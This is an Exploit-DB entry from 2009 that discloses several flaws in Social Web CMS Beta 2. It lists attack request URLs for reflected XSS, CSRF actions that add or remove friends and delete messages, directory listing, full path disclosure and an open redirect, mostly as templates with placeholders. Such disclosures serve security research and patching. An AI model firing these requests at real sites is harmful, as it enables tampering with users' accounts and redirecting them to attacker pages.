social Web CMS <= beta 2 - Multiple Vulnerabilities

2009-12-21T00:00:00
ID EDB-ID:10583
Type exploitdb
Reporter cp77fk4r
Modified 2009-12-21T00:00:00

Description

Social Web CMS <= Beta 2 Multiple Vulnerabilities. Webapps exploit for php platform

                                        
                                            # Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com&lt;http://gmail.com/&gt;
# Software Link: http://www.socialwebcms.com
# Version: X &lt;= Beta 2
#
# Vulnz:
#
#[Directory Listing]
http://server/modules/
#
#
#[XSS]
http://server/index.php?category=%22%3E[XSS]
#
#
#[CSRF]
-Add friends:
 http://server/user/view/addfriend/login/[VALID_FRIEND]
 or
 http://server/user.php?login=[VALID_FRIEND]&view=addfriend
#
-Remove friends:
 http://server]/user/view/removefriend/login/[VALID_FRIEND]
 or
 http://server/user.php?login=[VALID_FRIEND]&view=removefriend
#
-Remove Messages:
 http://server/module.php?module=simple_messaging&view=delmsg&msg_id=[MESSAGE_ID]
#
#
#[Full Path Disclosure] (From Unlogged Browsing)
http://server/module.php?module=simple_messaging&view=delmsg&msg_id=
#
#[User Redirection]
http://server/module.php?module=simple_messaging&view=compose&to=[VALID_FRIEND]&return=[URL]
#
# EOF